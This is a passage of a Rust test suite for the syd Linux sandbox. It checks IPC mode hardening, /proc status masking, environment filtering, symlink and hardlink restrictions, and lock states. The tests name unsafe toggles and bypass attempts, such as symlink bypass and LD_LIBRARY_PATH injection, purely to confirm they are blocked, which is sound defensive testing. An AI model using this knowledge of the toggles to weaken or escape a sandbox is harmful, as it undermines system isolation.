for mode in SHM_ALLOWED_MODES.iter().chain(&*SHM_DENIED_MODES) {
say!("shmget:CHECK-MODE-UNSAFE: 0o{mode:03o}");
let argmod = mode.to_string();
let status = syd()
.p("off")
.m("trace/allow_unsafe_shm:1")
.m("trace/allow_unsafe_perm_shm:1")
.do_("shmget", [&argmod])
.quiet()
.status()
.expect("execute syd");
assert_status_ok!(status);
}
Ok(())
}
// Checks msgget mode hardening.
#[cfg(not(target_os = "android"))]
fn test_syd_exp_shm_harden_msgget() -> TestResult {
for mode in &*SHM_ALLOWED_MODES {
say!("msgget:CHECK-MODE-ALLOW: 0o{mode:03o}");
let argmod = mode.to_string();
let status = syd()
.p("off")
.m("trace/allow_unsafe_shm:1")
.do_("msgget", [&argmod])
.quiet()
.status()
.expect("execute syd");
assert_status_ok!(status);
}
for mode in &*SHM_DENIED_MODES {
say!("msgget:CHECK-MODE-DENY: 0o{mode:03o}");
let argmod = mode.to_string();
let status = syd()
.p("off")
.m("trace/allow_unsafe_shm:1")
.do_("msgget", [&argmod])
.quiet()
.status()
.expect("execute syd");
assert_status_killed!(status);
}
for mode in SHM_ALLOWED_MODES.iter().chain(&*SHM_DENIED_MODES) {
say!("msgget:CHECK-MODE-UNSAFE: 0o{mode:03o}");
let argmod = mode.to_string();
let status = syd()
.p("off")
.m("trace/allow_unsafe_shm:1")
.m("trace/allow_unsafe_perm_shm:1")
.do_("msgget", [&argmod])
.quiet()
.status()
.expect("execute syd");
assert_status_ok!(status);
}
Ok(())
}
// Checks semget mode hardening.
#[cfg(not(target_os = "android"))]
fn test_syd_exp_shm_harden_semget() -> TestResult {
for mode in &*SHM_ALLOWED_MODES {
say!("semget:CHECK-MODE-ALLOW: 0o{mode:03o}");
let argmod = mode.to_string();
let status = syd()
.p("off")
.m("trace/allow_unsafe_shm:1")
.do_("semget", [&argmod])
.quiet()
.status()
.expect("execute syd");
assert_status_ok!(status);
}
for mode in &*SHM_DENIED_MODES {
say!("semget:CHECK-MODE-DENY: 0o{mode:03o}");
let argmod = mode.to_string();
let status = syd()
.p("off")
.m("trace/allow_unsafe_shm:1")
.do_("semget", [&argmod])
.quiet()
.status()
.expect("execute syd");
assert_status_killed!(status);
}
for mode in SHM_ALLOWED_MODES.iter().chain(&*SHM_DENIED_MODES) {
say!("semget:CHECK-MODE-UNSAFE: 0o{mode:03o}");
let argmod = mode.to_string();
let status = syd()
.p("off")
.m("trace/allow_unsafe_shm:1")
.m("trace/allow_unsafe_perm_shm:1")
.do_("semget", [&argmod])
.quiet()
.status()
.expect("execute syd");
assert_status_ok!(status);
}
Ok(())
}
// Checks mq_open mode hardening.
#[cfg(not(target_os = "android"))]
fn test_syd_exp_shm_harden_mq_open() -> TestResult {
for mode in &*SHM_ALLOWED_MODES {
say!("mq_open:CHECK-MODE-ALLOW: 0o{mode:03o}");
let argmod = mode.to_string();
let status = syd()
.p("off")
.m("rlimit/msgqueue:none")
.m("trace/allow_unsafe_msgqueue:1")
.do_("mq_open", [&argmod])
.quiet()
.status()
.expect("execute syd");
assert_status_ok!(status);
}
for mode in &*SHM_DENIED_MODES {
say!("mq_open:CHECK-MODE-DENY: 0o{mode:03o}");
let argmod = mode.to_string();
let status = syd()
.p("off")
.m("trace/allow_unsafe_msgqueue:1")
.do_("mq_open", [&argmod])
.quiet()
.status()
.expect("execute syd");
assert_status_killed!(status);
}
for mode in SHM_ALLOWED_MODES.iter().chain(&*SHM_DENIED_MODES) {
say!("mq_open:CHECK-MODE-UNSAFE: 0o{mode:03o}");
let argmod = mode.to_string();
let status = syd()
.p("off")
.m("rlimit/msgqueue:none")
.m("trace/allow_unsafe_msgqueue:1")
.m("trace/allow_unsafe_perm_msgqueue:1")
.do_("mq_open", [&argmod])
.quiet()
.status()
.expect("execute syd");
assert_status_ok!(status);
}
Ok(())
}
#[cfg(not(target_os = "android"))]
fn test_syd_shm_msgrcv_copy_default() -> TestResult {
let status = syd()
.p("off")
.do_("msgrcv_copy", NONE)
.quiet()
.status()
.expect("execute syd");
assert_status_sigsys!(status);
Ok(())
}
#[cfg(not(target_os = "android"))]
fn test_syd_shm_msgrcv_copy_shm() -> TestResult {
let status = syd()
.p("off")
.m("trace/allow_unsafe_shm:1")
.do_("msgrcv_copy", NONE)
.quiet()
.status()
.expect("execute syd");
assert_status_killed!(status);
Ok(())
}
#[cfg(not(target_os = "android"))]
fn test_syd_shm_msgrcv_copy_unsafe() -> TestResult {
let status = syd()
.p("off")
.m("trace/allow_unsafe_shm:1")
.m("trace/allow_unsafe_copy:1")
.do_("msgrcv_copy", NONE)
.quiet()
.status()
.expect("execute syd");
if status.code() == Some(ENOSYS) {
eprintln!("msgrcv MSG_COPY unsupported on this kernel, skipping!");
std::env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(());
}
assert_status_ok!(status);
Ok(())
}
// Checks proc_pid_status(5) filtering.
fn test_syd_proc_pid_status_filter() -> TestResult {
skip_unless_available!("grep", "head", "sed", "sh");
// Check if prctl can set mitigations.
if speculation_get(SpeculationFeature::StoreBypass)
.map(|cs| cs.status.can_prctl_set())
.unwrap_or(false)
{
env::set_var("SYD_TEST_PRCTL_SSB", "1");
} else {
env::remove_var("SYD_TEST_PRCTL_SSB");
}
if speculation_get(SpeculationFeature::IndirectBranch)
.map(|cs| cs.status.can_prctl_set())
.unwrap_or(false)
{
env::set_var("SYD_TEST_PRCTL_SIB", "1");
} else {
env::remove_var("SYD_TEST_PRCTL_SIB");
}
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.m("lock:exec")
.argv(["sh", "-cex"])
.arg(
r##"
STATUS=/proc/self/status
# Masking ON by default.
svb=$(grep "^Speculation_Store_Bypass:" "$STATUS" | head -n1 | sed 's/^[^:]*:[[:space:]]*//')
[ "$svb" = "vulnerable" ] || { echo "masked: Speculation_Store_Bypass='$svb'"; exit 11; }
sib=$(grep "^SpeculationIndirectBranch:" "$STATUS" | head -n1 | sed 's/^[^:]*:[[:space:]]*//')
[ "$sib" = "always enabled" ] || { echo "masked: SpeculationIndirectBranch='$sib'"; exit 12; }
for f in TracerPid NoNewPrivs Seccomp Seccomp_filters; do
v=$(grep "^$f:" "$STATUS" | head -n1 | sed 's/^[^:]*:[[:space:]]*//')
[ "$v" = 0 ] || { echo "masked: $f='$v' (expected 0)"; exit 13; }
done
# Disable mitigation and verify unmasked view.
test -c /dev/syd/trace/allow_unsafe_proc_pid_status:1
if test x"$SYD_TEST_PRCTL_SSB" = x1; then
svb=$(grep "^Speculation_Store_Bypass:" "$STATUS" | head -n1 | sed 's/^[^:]*:[[:space:]]*//')
[ "$svb" = "thread force mitigated" ] || { echo "unmasked: Speculation_Store_Bypass='$svb'"; exit 21; }
fi
if test x"$SYD_TEST_PRCTL_SIB" = x1; then
sib=$(grep "^SpeculationIndirectBranch:" "$STATUS" | head -n1 | sed 's/^[^:]*:[[:space:]]*//')
[ "$sib" = "conditional force disabled" ] || { echo "unmasked: SpeculationIndirectBranch='$sib'"; exit 22; }
fi
for f in TracerPid NoNewPrivs Seccomp Seccomp_filters; do
v=$(grep "^$f:" "$STATUS" | head -n1 | sed 's/^[^:]*:[[:space:]]*//')
case "$v" in (''|*[!0-9]*) echo "unmasked: $f not decimal ('$v')"; exit 23;; esac
done
# Re-enable mitigation and re-check masked view.
test -c /dev/syd/trace/allow_unsafe_proc_pid_status:0
svb=$(grep "^Speculation_Store_Bypass:" "$STATUS" | head -n1 | sed 's/^[^:]*:[[:space:]]*//')
[ "$svb" = "vulnerable" ] || { echo "re-masked: Speculation_Store_Bypass='$svb'"; exit 31; }
sib=$(grep "^SpeculationIndirectBranch:" "$STATUS" | head -n1 | sed 's/^[^:]*:[[:space:]]*//')
[ "$sib" = "always enabled" ] || { echo "re-masked: SpeculationIndirectBranch='$sib'"; exit 32; }
for f in TracerPid NoNewPrivs Seccomp Seccomp_filters; do
v=$(grep "^$f:" "$STATUS" | head -n1 | sed 's/^[^:]*:[[:space:]]*//')
[ "$v" = 0 ] || { echo "re-masked: $f='$v' (expected 0)"; exit 33; }
done
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// Checks environment filtering for arguments
fn test_syd_environment_filter_arg() -> TestResult {
skip_unless_available!("sh");
const ENV: &str = "SAFE";
env::set_var(ENV, "/var/empty");
// Step 1: Allow by default
let output = syd()
.p("off")
.argv(["sh", "-c", &format!("echo ${ENV}")])
.output()
.expect("execute syd");
let output = String::from_utf8_lossy(&output.stdout);
let output = output.trim_end();
assert!(output == "/var/empty", "output1:{output}");
// Step 2: Override with -evar=val
let output = syd()
.p("off")
.arg(format!("-e{ENV}=/var/empty:/var/empty"))
.argv(["sh", "-c", &format!("echo ${ENV}")])
.output()
.expect("execute syd");
let output = String::from_utf8_lossy(&output.stdout);
let output = output.trim_end();
assert!(output == "/var/empty:/var/empty", "output2:{output}");
// Step 3: Unset with -evar
let output = syd()
.p("off")
.arg(format!("-e{ENV}"))
.argv(["sh", "-c", &format!("echo ${ENV}")])
.output()
.expect("execute syd");
let output = String::from_utf8_lossy(&output.stdout);
let output = output.trim_end();
assert!(output.is_empty(), "output3:{output}");
// Step 4: Pass-through with -evar=
let output = syd()
.p("off")
.arg(format!("-e{ENV}="))
.argv(["sh", "-c", &format!("echo ${ENV}")])
.output()
.expect("execute syd");
let output = String::from_utf8_lossy(&output.stdout);
let output = output.trim_end();
assert!(output == "/var/empty", "output4:{output}");
env::remove_var(ENV);
Ok(())
}
// Checks environment filtering for SYD_* variables
fn test_syd_environment_filter_syd() -> TestResult {
skip_unless_available!("sh", "env", "grep");
let status = syd()
.p("off")
.env("SYD_KEY", "sekrit")
.env("SYD_LOG", "notice")
.argv(["sh", "-c", "env | grep SYD_ | grep -v SYD_TEST_"])
.status()
.expect("execute syd");
assert_status_code!(status, 1);
Ok(())
}
// Checks environment hardening and -e pass-through.
// Note, AT_SECURE mitigation is another defense against this,
// that is why we disable it with trace/allow_unsafe_exec_libc:1
// during this test.
fn test_syd_environment_harden() -> TestResult {
skip_unless_available!("sh");
const ENV: &str = "LD_LIBRARY_PATH";
env::set_var(ENV, "/var/empty");
// Step 1: Deny by default
let output = syd()
.p("off")
.m("trace/allow_unsafe_exec_libc:1")
.argv(["sh", "-c", &format!("echo ${ENV}")])
.output()
.expect("execute syd");
let output = String::from_utf8_lossy(&output.stdout);
let output = output.trim_end();
assert!(output.is_empty(), "output1:{output}");
// Step 2: Override with -evar=val
let output = syd()
.p("off")
.m("trace/allow_unsafe_exec_libc:1")
.arg(format!("-e{ENV}=/var/empty:/var/empty"))
.argv(["sh", "-c", &format!("echo ${ENV}")])
.output()
.expect("execute syd");
let output = String::from_utf8_lossy(&output.stdout);
let output = output.trim_end();
assert!(output == "/var/empty:/var/empty", "output2:{output}");
// Step 3: Unset with -evar
let output = syd()
.p("off")
.m("trace/allow_unsafe_exec_libc:1")
.arg(format!("-e{ENV}"))
.argv(["sh", "-c", &format!("echo ${ENV}")])
.output()
.expect("execute syd");
let output = String::from_utf8_lossy(&output.stdout);
let output = output.trim_end();
assert!(output.is_empty(), "output3:{output}");
// Step 4: Pass-through with -evar=
let output = syd()
.p("off")
.m("trace/allow_unsafe_exec_libc:1")
.arg(format!("-e{ENV}="))
.argv(["sh", "-c", &format!("echo ${ENV}")])
.output()
.expect("execute syd");
let output = String::from_utf8_lossy(&output.stdout);
let output = output.trim_end();
assert!(output == "/var/empty", "output4:{output}");
// Step 5: Allow with -m trace/allow_unsafe_env:1
let output = syd()
.p("off")
.m("trace/allow_unsafe_env:1")
.m("trace/allow_unsafe_exec_libc:1")
.argv(["sh", "-c", &format!("echo ${ENV}")])
.output()
.expect("execute syd");
let output = String::from_utf8_lossy(&output.stdout);
let output = output.trim_end();
assert!(output == "/var/empty", "output:{output}");
// Step 6: Toggle -m trace/allow_unsafe_env
let output = syd()
.p("off")
.m("trace/allow_unsafe_env:1")
.m("trace/allow_unsafe_env:0")
.m("trace/allow_unsafe_exec_libc:1")
.argv(["sh", "-c", &format!("echo ${ENV}")])
.output()
.expect("execute syd");
let output = String::from_utf8_lossy(&output.stdout);
let output = output.trim_end();
assert!(output.is_empty(), "output1:{output}");
env::remove_var(ENV);
Ok(())
}
// Tests whether RUST_BACKTRACE is handled correctly.
fn test_syd_environment_backtrace() -> TestResult {
skip_unless_available!("jq", "sh");
let syd = &SYD.to_string();
let status = Command::new("sh")
.arg("-cex")
.arg(format!(
r##"
echo 0 > bt.exp
{syd} -poff -mlock:read jq -r .backtrace /dev/syd > bt.now
cmp bt.exp bt.now
{syd} -q -poff -mlock:read jq -r .backtrace /dev/syd > bt.now
cmp bt.exp bt.now
for val in 0 1 full; do
env RUST_BACKTRACE=$val {syd} -poff -mlock:read jq -r .backtrace /dev/syd > bt.now
cmp bt.exp bt.now
env RUST_BACKTRACE=$val {syd} -q -poff -mlock:read jq -r .backtrace /dev/syd > bt.now
cmp bt.exp bt.now
done
for val in 0 1 full; do
echo $val > bt.exp
env RUST_BACKTRACE=$val {syd} -poff sh -c 'echo $RUST_BACKTRACE' > bt.now
cmp bt.exp bt.now
env RUST_BACKTRACE=$val {syd} -q -poff sh -c 'echo $RUST_BACKTRACE' > bt.now
cmp bt.exp bt.now
done
"##,
))
.status()
.expect("execute sh");
assert_status_ok!(status);
Ok(())
}
// Tests file creation hardening.
fn test_syd_restrict_create() -> TestResult {
skip_unless_available!("sh");
let syd_do = &SYD_DO.to_string();
let status = syd()
.env("SYD_TEST_DO", "creat")
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.m("lock:exec")
.argv(["sh", "-cex"])
.arg(format!(
r##"
touch file
chmod g+w file
{syd_do} file && exit 1 || true
test -c /dev/syd/trace/allow_unsafe_create:1
{syd_do} file
test -c /dev/syd/trace/allow_unsafe_create:0
chmod g-w file
chmod o+w file
{syd_do} file && exit 2 || true
test -c /dev/syd/trace/allow_unsafe_create:1
{syd_do} file
test -c /dev/syd/trace/allow_unsafe_create:0
chmod o-w file
"##,
))
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// Tests hardlink hardening.
fn test_syd_restrict_hardlinks() -> TestResult {
skip_unless_available!("sh");
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.m("lock:exec")
.argv(["sh", "-cex"])
.arg(
r##"
mkdir -m700 tmp
echo hello world > tmp/file
ln tmp/file tmp/link
cat tmp/link > tmp/copy
cmp tmp/file tmp/copy
rm tmp/copy tmp/link
chmod -r tmp/file
ln tmp/file tmp/link && exit 1 || true
test -c /dev/syd/trace/allow_unsafe_hardlinks:1
ln tmp/file tmp/link
test -c /dev/syd/trace/allow_unsafe_hardlinks:0
rm tmp/link
chmod +r tmp/file
chmod -w tmp/file
ln tmp/file tmp/link && exit 2 || true
test -c /dev/syd/trace/allow_unsafe_hardlinks:1
ln tmp/file tmp/link
cat tmp/link > tmp/copy
cmp tmp/file tmp/copy
test -c /dev/syd/trace/allow_unsafe_hardlinks:0
rm tmp/copy tmp/link
chmod +w tmp/file
chmod +s tmp/file
ln tmp/file tmp/link && exit 3 || true
test -c /dev/syd/trace/allow_unsafe_hardlinks:1
test -c /dev/syd/trace/allow_unsafe_open_suid:1
ln tmp/file tmp/link
cat tmp/link > tmp/copy
cmp tmp/file tmp/copy
test -c /dev/syd/trace/allow_unsafe_hardlinks:0
rm tmp/copy tmp/link
chmod -s tmp/file
chmod g+sx tmp/file
ln tmp/file tmp/link && exit 4 || true
test -c /dev/syd/trace/allow_unsafe_hardlinks:1
ln tmp/file tmp/link
cat tmp/link > tmp/copy
cmp tmp/file tmp/copy
test -c /dev/syd/trace/allow_unsafe_hardlinks:0
rm tmp/copy tmp/link
chmod g-sx tmp/file
mkfifo tmp/fifo
ln tmp/fifo tmp/link && exit 5 || true
test -c /dev/syd/trace/allow_unsafe_hardlinks:1
ln tmp/fifo tmp/link
test -c /dev/syd/trace/allow_unsafe_hardlinks:0
rm tmp/fifo tmp/link
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// Tests symlink hardening.
fn test_syd_restrict_symlinks() -> TestResult {
skip_unless_available!("sh");
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.m("lock:exec")
.argv(["sh", "-cex"])
.arg(
r##"
mkdir -m700 tmp
echo hello world > tmp/file
ln -s file tmp/link
cat tmp/link > tmp/copy
cmp tmp/file tmp/copy
rm tmp/copy
test -c /dev/syd/trace/allow_unsafe_sticky:1
chmod +t tmp
cat tmp/link > tmp/copy && exit 1 || true
cmp tmp/file tmp/copy && exit 2 || true
test -c /dev/syd/trace/allow_unsafe_symlinks:1
cat tmp/link > tmp/copy
cmp tmp/file tmp/copy
rm tmp/copy
test -c /dev/syd/trace/allow_unsafe_symlinks:0
chmod -t tmp
chmod g+w tmp
cat tmp/link > tmp/copy && exit 3 || true
cmp tmp/file tmp/copy && exit 4 || true
test -c /dev/syd/trace/allow_unsafe_symlinks:1
cat tmp/link > tmp/copy
cmp tmp/file tmp/copy
rm tmp/copy
test -c /dev/syd/trace/allow_unsafe_symlinks:0
chmod g-w tmp
chmod o+w tmp
cat tmp/link > tmp/copy && exit 5 || true
cmp tmp/file tmp/copy && exit 6 || true
test -c /dev/syd/trace/allow_unsafe_symlinks:1
cat tmp/link > tmp/copy
cmp tmp/file tmp/copy
rm tmp/copy
test -c /dev/syd/trace/allow_unsafe_symlinks:0
chmod o-w tmp
cat tmp/link > tmp/copy
cmp tmp/file tmp/copy
rm tmp/copy
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_restrict_symlinks_bypass_no_parent_default() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.do_("symlink_trusted_bypass_no_parent", NONE)
.status()
.expect("execute syd");
assert_status_loop!(status);
Ok(())
}
fn test_syd_restrict_symlinks_bypass_no_parent_unsafe() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.m("trace/allow_unsafe_symlinks:1")
.do_("symlink_trusted_bypass_no_parent", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
const FORCE_NO_LINKS_HARNESS: &str = r##"
export LANG=C
export LC_ALL=C
PATH=/usr/bin
BB=/usr/bin/busybox
test -x "$BB" && [ ! -L "$BB" ] || { echo " 1..0 # SKIP static busybox needed at $BB"; exit 0; }
mkdir -m700 tmp
echo hello > tmp/file
ln -s file tmp/sym
ln -s . tmp/dirsym
N=0
FAIL=0
ok() { N=$((N+1)); echo " ok $N - $1"; }
not_ok() { N=$((N+1)); FAIL=$((FAIL+1)); echo " not ok $N - $1"; [ -n "$2" ] && echo " # $2"; }
expect_ok() {
d=$1; shift
out=$("$@" 2>&1); rc=$?
if [ "$rc" -eq 0 ]; then ok "$d"; else not_ok "$d" "rc=$rc out=$out"; fi
}
expect_eloop() {
d=$1; shift
out=$("$@" 2>&1); rc=$?
if [ "$rc" -eq 0 ]; then not_ok "$d" "expected ELOOP, succeeded with: $out"
else
case "$out" in
*[Ll]oop*|*levels\ of\ symbolic*) ok "$d" ;;
*) not_ok "$d" "expected ELOOP, got rc=$rc out=$out" ;;
esac
fi
}
"##;
fn test_syd_force_no_symlinks() -> TestResult {
skip_unless_available!("sh", "busybox");
let harness = FORCE_NO_LINKS_HARNESS;
let body = r##"
echo " # Subtest: force_no_symlinks"
test -c /dev/syd/trace/force_no_symlinks:0
expect_ok "fns_off: lstat real symlink" $BB ls -l tmp/sym
expect_ok "fns_off: readlink real symlink" $BB readlink -v tmp/sym
expect_ok "fns_off: stat -L real symlink" $BB stat -L tmp/sym
expect_ok "fns_off: lstat via symlink-dir" $BB ls -l tmp/dirsym/file
expect_ok "fns_off: stat -L via symlink-dir" $BB stat -L tmp/dirsym/file
expect_ok "fns_off: lstat magic exe" $BB ls -l /proc/self/exe
expect_ok "fns_off: readlink magic exe" $BB readlink -v /proc/self/exe
expect_ok "fns_off: stat -L magic exe" $BB stat -L /proc/self/exe
expect_ok "fns_off: lstat magic cwd" $BB ls -l /proc/self/cwd
expect_ok "fns_off: readlink magic cwd" $BB readlink -v /proc/self/cwd
expect_ok "fns_off: lstat magic root" $BB ls -l /proc/self/root
expect_ok "fns_off: readlink magic root" $BB readlink -v /proc/self/root
expect_ok "fns_off: lstat magic fd" $BB ls -l /proc/self/fd/0
expect_ok "fns_off: readlink magic fd" $BB readlink -v /proc/self/fd/0
expect_ok "fns_off: stat -L via magic cwd" $BB stat -L /proc/self/cwd/tmp/file
expect_ok "fns_off: stat -L via magic root" $BB stat -L /proc/self/root/proc
expect_ok "fns_off: /proc/self exists" test -e /proc/self
expect_ok "fns_off: /proc/thread-self exists" test -e /proc/thread-self
test -c /dev/syd/trace/force_no_symlinks:1
expect_ok "fns: lstat regular file ok" $BB ls -l tmp/file
expect_ok "fns: stat -L regular file ok" $BB stat -L tmp/file
expect_eloop "fns: lstat real symlink" $BB ls -l tmp/sym
expect_eloop "fns: readlink real symlink" $BB readlink -v tmp/sym
expect_eloop "fns: stat -L real symlink" $BB stat -L tmp/sym
expect_eloop "fns: lstat via symlink-dir" $BB ls -l tmp/dirsym/file
expect_eloop "fns: stat -L via symlink-dir" $BB stat -L tmp/dirsym/file
expect_eloop "fns: lstat magic exe" $BB ls -l /proc/self/exe
expect_eloop "fns: readlink magic exe" $BB readlink -v /proc/self/exe
expect_eloop "fns: stat -L magic exe" $BB stat -L /proc/self/exe
expect_eloop "fns: lstat magic cwd" $BB ls -l /proc/self/cwd
expect_eloop "fns: readlink magic cwd" $BB readlink -v /proc/self/cwd
expect_eloop "fns: lstat magic root" $BB ls -l /proc/self/root
expect_eloop "fns: readlink magic root" $BB readlink -v /proc/self/root
expect_eloop "fns: lstat magic fd" $BB ls -l /proc/self/fd/0
expect_eloop "fns: readlink magic fd" $BB readlink -v /proc/self/fd/0
expect_eloop "fns: stat -L via magic cwd" $BB stat -L /proc/self/cwd/tmp/file
expect_eloop "fns: stat -L via magic root" $BB stat -L /proc/self/root/proc
expect_ok "fns: /proc/self exempt" test -e /proc/self
expect_ok "fns: /proc/thread-self exempt" test -e /proc/thread-self
test -c /dev/syd/trace/force_no_symlinks:0
expect_ok "fns_toggle: lstat real symlink" $BB ls -l tmp/sym
expect_ok "fns_toggle: readlink real symlink" $BB readlink -v tmp/sym
expect_ok "fns_toggle: stat -L real symlink" $BB stat -L tmp/sym
expect_ok "fns_toggle: lstat magic exe" $BB ls -l /proc/self/exe
expect_ok "fns_toggle: readlink magic exe" $BB readlink -v /proc/self/exe
expect_ok "fns_toggle: stat -L magic exe" $BB stat -L /proc/self/exe
echo " 1..$N"
if [ "$FAIL" -eq 0 ]; then
echo " # All $N tests have passed."
else
echo " # $FAIL out of $N tests have failed."
fi
exit "$FAIL"
"##;
let status = syd()
.p("off")
.m("sandbox/lpath:on")
.m("allow/lpath+/***")
.m("trace/allow_unsafe_exec_nopie:1")
.m("lock:exec")
.argv(["sh", "-c"])
.arg(format!("{harness}{body}"))
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_force_no_magiclinks() -> TestResult {
skip_unless_available!("sh", "busybox");
let harness = FORCE_NO_LINKS_HARNESS;
let body = r##"
echo " # Subtest: force_no_magiclinks"
test -c /dev/syd/trace/force_no_magiclinks:0
expect_ok "fnm_off: lstat real symlink" $BB ls -l tmp/sym
expect_ok "fnm_off: readlink real symlink" $BB readlink -v tmp/sym
expect_ok "fnm_off: stat -L real symlink" $BB stat -L tmp/sym
expect_ok "fnm_off: lstat magic exe" $BB ls -l /proc/self/exe
expect_ok "fnm_off: readlink magic exe" $BB readlink -v /proc/self/exe
expect_ok "fnm_off: stat -L magic exe" $BB stat -L /proc/self/exe
expect_ok "fnm_off: lstat magic cwd" $BB ls -l /proc/self/cwd
expect_ok "fnm_off: readlink magic cwd" $BB readlink -v /proc/self/cwd
expect_ok "fnm_off: lstat magic root" $BB ls -l /proc/self/root
expect_ok "fnm_off: readlink magic root" $BB readlink -v /proc/self/root
expect_ok "fnm_off: lstat magic fd" $BB ls -l /proc/self/fd/0
expect_ok "fnm_off: readlink magic fd" $BB readlink -v /proc/self/fd/0
expect_ok "fnm_off: stat -L via magic cwd" $BB stat -L /proc/self/cwd/tmp/file
expect_ok "fnm_off: stat -L via magic root" $BB stat -L /proc/self/root/proc
expect_ok "fnm_off: /proc/self exists" test -e /proc/self
expect_ok "fnm_off: /proc/thread-self exists" test -e /proc/thread-self
test -c /dev/syd/trace/force_no_magiclinks:1
expect_ok "fnm: regular file ok" $BB ls -l tmp/file
expect_ok "fnm: real symlink unaffected (lstat)" $BB ls -l tmp/sym
expect_ok "fnm: real symlink unaffected (readlink)" $BB readlink -v tmp/sym
expect_ok "fnm: real symlink unaffected (stat -L)" $BB stat -L tmp/sym
expect_ok "fnm: symlink-dir intermediate (lstat)" $BB ls -l tmp/dirsym/file
expect_ok "fnm: symlink-dir intermediate (stat -L)" $BB stat -L tmp/dirsym/file
expect_eloop "fnm: lstat magic exe" $BB ls -l /proc/self/exe
expect_eloop "fnm: readlink magic exe" $BB readlink -v /proc/self/exe
expect_eloop "fnm: stat -L magic exe" $BB stat -L /proc/self/exe
expect_eloop "fnm: lstat magic cwd" $BB ls -l /proc/self/cwd
expect_eloop "fnm: readlink magic cwd" $BB readlink -v /proc/self/cwd
expect_eloop "fnm: lstat magic root" $BB ls -l /proc/self/root
expect_eloop "fnm: readlink magic root" $BB readlink -v /proc/self/root
expect_eloop "fnm: lstat magic fd" $BB ls -l /proc/self/fd/0
expect_eloop "fnm: readlink magic fd" $BB readlink -v /proc/self/fd/0
expect_eloop "fnm: stat -L via magic cwd" $BB stat -L /proc/self/cwd/tmp/file
expect_eloop "fnm: stat -L via magic root" $BB stat -L /proc/self/root/proc
expect_ok "fnm: /proc/self exempt" test -e /proc/self
expect_ok "fnm: /proc/thread-self exempt" test -e /proc/thread-self
test -c /dev/syd/trace/force_no_magiclinks:0
expect_ok "fnm_toggle: lstat magic exe" $BB ls -l /proc/self/exe
expect_ok "fnm_toggle: readlink magic exe" $BB readlink -v /proc/self/exe
expect_ok "fnm_toggle: stat -L magic exe" $BB stat -L /proc/self/exe
echo " 1..$N"
if [ "$FAIL" -eq 0 ]; then
echo " # All $N tests have passed."
else
echo " # $FAIL out of $N tests have failed."
fi
exit "$FAIL"
"##;
let status = syd()
.p("off")
.m("sandbox/lpath:on")
.m("allow/lpath+/***")
.m("trace/allow_unsafe_exec_nopie:1")
.m("lock:exec")
.argv(["sh", "-c"])
.arg(format!("{harness}{body}"))
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// Tests if the sticky bit is immutable on directories at chmod(2) boundary.
fn test_syd_immutable_sticky() -> TestResult {
skip_unless_available!("sh");
let status = syd()
.p("off")
.m("lock:exec")
.m("sandbox/lock:off")
.m("allow/all+/***")
.argv(["sh", "-cex"])
.arg(
r##"
# /dev/syd is accessible under lock:exec.
test -c /dev/syd
# Create a directory, set the sticky bit and verify.
mkdir -p tmp/sticky_test
chmod 1755 tmp/sticky_test
test -k tmp/sticky_test
# Attempt to remove sticky bit which must be preserved.
chmod 0755 tmp/sticky_test
test -k tmp/sticky_test
# Toggle trace/allow_unsafe_sticky:1 and remove sticky bit.
test -c /dev/syd/trace/allow_unsafe_sticky:1
chmod 0755 tmp/sticky_test
! test -k tmp/sticky_test
# Restore sticky bit.
chmod 1755 tmp/sticky_test
test -k tmp/sticky_test
# Toggle trace/allow_unsafe_sticky:0 and attempt removal which must be preserved.
test -c /dev/syd/trace/allow_unsafe_sticky:0
chmod 0755 tmp/sticky_test
test -k tmp/sticky_test
true
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// Tests if `lock:on` command disables access to `/dev/syd`.
fn test_syd_lock() -> TestResult {
skip_unless_available!("sh");
let status = syd()
.p("off")
.m("lock:exec")
.argv(["sh", "-cx", "test -c /dev/syd"])
.status()
.expect("execute syd");
assert_status_ok!(status);
eprintln!("+ sh -c \"test -c /dev/syd\"");
let status = syd()
.p("off")
.m("lock:on")
.argv(["sh", "-cex", "test -c /dev/syd"])
.status()
.expect("execute syd");
assert_status_not_ok!(status);
Ok(())
}
// Tests if `lock:drop` allows hardening-only sandbox modifications.
fn test_syd_lock_drop() -> TestResult {
skip_unless_available!("sh");
let status = syd()
.p("off")
.m("lock:exec")
.argv(["sh", "-cex"])
.arg(
r##"
# 0. Transit from lock:exec to lock:drop.
test -c /dev/syd/lock:drop
for state in off exec ipc; do
test -c /dev/syd/lock:${state} && exit 1 || true
done
# 1. Sandbox capabilities: ON is allowed, OFF is blocked.
for cap in fs walk stat read write exec ioctl create delete rename symlink truncate chdir readdir mkdir rmdir chown chgrp chmod chattr chroot utime mkbdev mkcdev mkfifo mktemp net/bind net/connect net/sendfd; do
test -c /dev/syd/sandbox/${cap}:on
test -c /dev/syd/sandbox/${cap}:off && exit 2 || true
done
# 2. Default actions: Raising severity is allowed, lowering blocked.
for cap in fs walk stat read write exec ioctl create delete rename symlink truncate chdir readdir mkdir rmdir chown chgrp chmod chattr chroot utime mkbdev mkcdev mkfifo mktemp net/bind net/connect net/sendfd; do
for act in allow warn abort filter; do
test -c /dev/syd/default/${cap}:${act} && exit 3 || true
done
test -c /dev/syd/default/${cap}:deny
for act in allow warn abort filter; do
test -c /dev/syd/default/${cap}:${act} && exit 4 || true
done
test -c /dev/syd/default/${cap}:panic
for act in allow warn abort filter deny; do
test -c /dev/syd/default/${cap}:${act} && exit 5 || true
done
test -c /dev/syd/default/${cap}:stop
for act in allow warn abort filter deny panic; do
